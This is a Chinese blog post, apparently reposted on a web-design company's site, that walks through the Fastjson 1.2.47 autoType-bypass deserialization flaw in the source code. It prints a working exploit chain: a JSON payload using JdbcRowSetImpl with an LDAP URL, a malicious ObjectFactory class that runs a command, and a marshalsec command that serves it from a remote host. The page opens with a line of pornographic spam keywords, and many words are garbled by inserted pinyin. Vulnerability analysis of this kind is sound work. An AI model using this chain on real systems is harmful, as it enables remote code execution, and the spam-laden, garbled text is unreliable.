真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

Fastjson1.2.47版本存在的漏洞成因以及其利用方式是什么

這篇文章將為大家詳細(xì)講解有關(guān)Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個(gè)參考,希望大家閱讀完這篇文章后對(duì)相關(guān)知識(shí)有一定的了解。

成都創(chuàng)新互聯(lián)長(zhǎng)期為近千家客戶提供的網(wǎng)站建設(shè)服務(wù),團(tuán)隊(duì)從業(yè)經(jīng)驗(yàn)10年,關(guān)注不同地域、不同群體,并針對(duì)不同對(duì)象提供差異化的產(chǎn)品和服務(wù);打造開放共贏平臺(tái),與合作伙伴共同營(yíng)造健康的互聯(lián)網(wǎng)生態(tài)環(huán)境。為隆德企業(yè)提供專業(yè)的網(wǎng)站建設(shè)、做網(wǎng)站,隆德網(wǎng)站改版等技術(shù)服務(wù)。擁有10年豐富建站經(jīng)驗(yàn)和眾多成功案例,為您定制開發(fā)。

前言

這次將要介紹的是Fastjson 1.2.47版本存在的漏洞成因以及其利用方式。

Fastjson 1.2.47漏洞分析

Fastjson 1.2.47版本漏洞與上篇文章中介紹的幾處漏洞在原理上有著很大的不同。與Fastjson歷史上存在的大多數(shù)漏洞不同的是,F(xiàn)astjson 1.2.47版本的漏洞利用在AutoTypeSupport功能未開啟時(shí)進(jìn)行

首先來看一下公開的poc

public class demo {
public static void main(String[] args) {
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
"\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/ExecTest\",\"autoCommit\":true}}";
Object obj = JSON.parseObject(payload);
System.out.println(obj);
}
}

從代碼中可見,與以往利用不同的是,該poc中構(gòu)造了兩個(gè)json字符串

1、"a":{"\@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}

2、"b":{"\@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/ExecTest","autoCommit":true}

為了弄清楚這樣構(gòu)造的意義,我們來動(dòng)態(tài)調(diào)試一下這個(gè)漏洞

程序首先解析第一個(gè)json字符串

"a":{"\@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"} 解析過程

我們跳過部分FastJson解析流程,直接來看checkAutoType安全模塊時(shí)的操作。對(duì)這個(gè)字符串中\(zhòng)@type字段進(jìn)行校驗(yàn)

在位于com/alibaba/fastjson/parser/ParserConfig.java的checkAutoType安全模塊中,程序首先進(jìn)入了這個(gè)分支,程序調(diào)用getClassFromMapping對(duì)typeName進(jìn)行解析,typeName即為字符串中@type的值,在第一個(gè)json字符串中,這個(gè)值為"java.lang.Class"

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

我們跟入位于com/alibaba/fastjson/util/TypeUtils.java 的getClassFromMappingFastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

從上圖代碼可見,程序想從mappings中尋找鍵名為”java.lang.Class”的元素并返回對(duì)應(yīng)的鍵值。值得一提的是,mappings合集與后文將要講到的buckets合集對(duì)這個(gè)漏洞至關(guān)重要,這二者是這個(gè)漏洞產(chǎn)生的核心因素

  • mappings合集

mappings中存儲(chǔ)的數(shù)據(jù)都是什么呢?經(jīng)過調(diào)試可以發(fā)現(xiàn)其中數(shù)據(jù)形式如下圖中所展示

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

從上圖可見,mappings中存儲(chǔ)著類名字符串以及對(duì)應(yīng)類對(duì)象。然而mappings中的數(shù)據(jù)又是從何而來的呢?

經(jīng)過調(diào)試發(fā)現(xiàn),mappings中存儲(chǔ)的數(shù)據(jù)是由位于com/alibaba/fastjson/util/TypeUtils.java的addBaseClassMappings方法添加的

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

從Mapping合集中的數(shù)據(jù)可以猜測(cè),Mapping是用來存儲(chǔ)一些基礎(chǔ)的Class,以便于在反序列化處理這些基礎(chǔ)類時(shí)提高效率

在弄清楚mappings列表的由來后,繼續(xù)回到正題。我們構(gòu)造的typeName(@type指定的"java.lang.Class")并不在Mappings的鍵中。因此getClassFromMapping方法返回null,程序繼續(xù)向下執(zhí)行進(jìn)入下一個(gè)if分支。此時(shí)程序接著調(diào)用deserializers.findClass對(duì)傳入的typeName進(jìn)行解析

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

我們跟入位于com/alibaba/fastjson/util/IdentityHashMap.java的findClass方法進(jìn)行進(jìn)一步分析

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

從上圖代碼可見,程序會(huì)遍歷buckets,取出其中元素的key屬性值的名稱并與傳入的”java.lang.Class”進(jìn)行比較,如果二者相同,則將這個(gè)Class對(duì)象返回

  • buckets合集

現(xiàn)在我們要談?wù)刡uckets合集了。buckets又存儲(chǔ)著什么元素呢?見下圖

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

上圖我們展開了一個(gè)buckets合集中元素進(jìn)行展示。與Mapping合集相同的問題產(chǎn)生了:buckets中的元素都有哪些、他們又從何而來呢?經(jīng)過調(diào)試我們?cè)谝娤氯龔垐D中找到了答案

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

通過FastJson作者關(guān)于buckets合集的注釋猜測(cè),buckets是一個(gè)用于并發(fā)的IdentityHashMap

回到調(diào)試流程中findClass方法來,我們構(gòu)造的typeName(@type指定的"java.lang.Class")被findClass方法匹配到了,因此java.lang.Class類對(duì)象被返回

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

在findClass執(zhí)行完成后,java.lang.Class類對(duì)象被返回到checkAutoType中并賦值給clazz,checkAutoType方法也將于963行處將clazz返回。

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

回顧一下上文中的Mapping合集和buckets合集,F(xiàn)astjson為什么要將用戶傳入的\@type字段指定的字符串在這兩個(gè)合集中匹配呢?

Mapping合集則是用來存儲(chǔ)基礎(chǔ)的Class,如果\@type字段傳入的字符串如果對(duì)應(yīng)了基礎(chǔ)Class,程序則直接找到其類對(duì)象并將其類對(duì)象返回,從而跳過了checkAutoType后續(xù)的部分校驗(yàn)過程。而buckets合集則是用于并發(fā)操作。

但無論Mapping合集與buckets合集實(shí)際作用是什么,但凡用戶傳入的\@type字段字段值在兩個(gè)合集中任意一個(gè)中,且程序使用JSON.parseObject(payload);這樣的形式解析字符串(確保expectClass為空,防止進(jìn)入上圖957行if分支),checkAutoType都將會(huì)直接將其對(duì)應(yīng)的Class返回。

checkAutoType在將clazz返回后,程序?qū)?huì)執(zhí)行到com/alibaba/fastjson/parser/DefaultJSONParser.java中的如下代碼

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

從上圖第一個(gè)紅框可見,checkAutoType在將用戶傳入的@type值返回后,程序會(huì)賦值給上圖316行處clazz變量,而上圖384行處的deserialze方法緊接著處理這個(gè)clazz變量

跟入位于com/alibaba/fastjson/serializer/MiscCodec.java的deserialze方法中

public  T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
JSONLexer lexer = parser.lexer;

?

if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}

parser.accept(JSONToken.COLON);

objVal = parser.parse();

parser.accept(JSONToken.RBRACE);

?

if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
} 

?

if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

此時(shí)傳入deserialze中clazz變量為checkAutoType安全模塊校驗(yàn)后返回的"java.lang.Class"而fieldName變量值為解析的第一個(gè)json字段名"a"

deserialze方法中,與本次漏洞與poc構(gòu)造的代碼塊主要有三部分,分別是:

  1. 取出json字符串中val值

if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}

parser.accept(JSONToken.COLON);

objVal = parser.parse();

parser.accept(JSONToken.RBRACE);

在這段代碼中,程序?qū)⑴袛鄠魅氲膉son字符串中是否有”val”,并將其值通過下圖第一個(gè)紅框處的代碼取出賦值給objVal變量。

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

  1. 將objVal變量值轉(zhuǎn)換為String類型并賦值strVal變量

if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
}

這段代碼與上一段銜接,objVal變量值又傳遞給下圖第二個(gè)紅框處。strVal變量判斷objVal非空且為String類實(shí)例時(shí),將其轉(zhuǎn)換為String類型并賦值與strVal

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

  1. 調(diào)用TypeUtils.loadClass處理val值

if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

這段代碼的作用時(shí),當(dāng)傳入的clazz變量為Class的類對(duì)象時(shí),調(diào)用TypeUtils.loadClass處理strVal(即json字符串中的val值)

在分析完deserialze方法的加工流程后,我們回頭看看poc中構(gòu)造的val值是什么,見下圖紅框處

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

poc中構(gòu)造的是com.sun.rowset.JdbcRowSetImpl字符串,也就是過往漏洞利用中可利用的類。但是根據(jù)之前的分析,自從黑名單機(jī)制的完善,這個(gè)類早已已經(jīng)不能簡(jiǎn)單的直接利用了,這個(gè)漏洞究竟是如何讓這個(gè)類繞過黑名單重獲新生呢?我們繼續(xù)往下看看TypeUtils.loadClass中的操作,繼續(xù)跟入位于com/alibaba/fastjson/util/TypeUtils.java的loadClass

public static Class loadClass(String className, ClassLoader classLoader, boolean cache) {
if(className == null || className.length() == 0){
return null;
}
Class clazz = mappings.get(className);
if(clazz != null){
return clazz;
}
if(className.charAt(0) == '['){
Class componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try{
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}

loadClass接收的一個(gè)參數(shù):"className"為String類型變量,根據(jù)上文的調(diào)用關(guān)系,這里傳入的是字符串"com.sun.rowset.JdbcRowSetImpl",即className參數(shù)值為"com.sun.rowset.JdbcRowSetImpl"

通過分析loadClass方法代碼,可以發(fā)現(xiàn)如下代碼

try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
}

在該代碼段中,程序通過contextClassLoader.loadClass(className);方法從字符串類型className變量("com.sun.rowset.JdbcRowSetImpl")獲取到com.sun.rowset.JdbcRowSetImpl類對(duì)象,并賦值給clazz變量。此時(shí)的className、clazz變量形式如下圖

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

接著,程序判斷cache變量情況:在當(dāng)cache為true時(shí),將className、clazz鍵值對(duì)加入mappings合集(cache默認(rèn)為true)。

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

經(jīng)過動(dòng)態(tài)調(diào)試可以發(fā)現(xiàn),通過上面的一系列操作,Mappings合集中確實(shí)已經(jīng)加入了我們的惡意類com.sun.rowset.JdbcRowSetImpl,見下圖

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

在我們的第一個(gè)json字符串解析完成后,程序隨后會(huì)解析我們第二個(gè)json字符串

"b":{"\@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/ExecTest","autoCommit":true}解析過程

與第一個(gè)json字符串解析流程完全一致,程序也執(zhí)行到下圖部分

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

由于這次Mapping中有鍵名為com.sun.rowset.JdbcRowSetImpl的元素,因此clazz被賦值為com.sun.rowset.JdbcRowSetImpl類對(duì)象

從下面兩張圖可見,此時(shí)上文的流程完全一致,只不過這次返回的時(shí)com.sun.rowset.JdbcRowSetImpl類對(duì)象

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

com.sun.rowset.JdbcRowSetImpl惡意類被順利返回,但是整個(gè)操作流程中并未觸發(fā)checkAutoType黑白名單校驗(yàn)機(jī)制。隨后com.sun.rowset.JdbcRowSetImpl惡意類被反序列化,觸發(fā)利用

漏洞利用

為了證實(shí)漏洞的存在,我們首先在192.167.30.116服務(wù)器的80端口web服務(wù)上部署ExecTest.class。ExecTest.java中內(nèi)容如下

java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class ExecTest implements ObjectFactory {

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) {
exec("xterm");
return null;
}

public static String exec(String cmd) {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
return "";
}

public static void main(String[] args) {
exec("123");
}
}

使用marshalsec開啟ladp服務(wù),監(jiān)聽在1389端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.167.30.116/java/#ExecTest" 1389

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

demo程序執(zhí)行完畢,計(jì)算器成功彈出

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

Fastjson 1.2.47版本的漏洞與Fastjson歷史上存在的大多數(shù)漏洞不同。本次漏洞相比自立一派,與過往那些針對(duì)補(bǔ)丁繞過的漏洞相比,本次漏洞更為復(fù)雜與精妙。1.2.47版本的漏洞涉及到一些Fastjson機(jī)制類的知識(shí),通過對(duì)這個(gè)漏洞進(jìn)行分析,可以更好的了解FastJson框架。

關(guān)于Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺得文章不錯(cuò),可以把它分享出去讓更多的人看到。


文章名稱:Fastjson1.2.47版本存在的漏洞成因以及其利用方式是什么
地址分享:http://weahome.cn/article/iiidjd.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部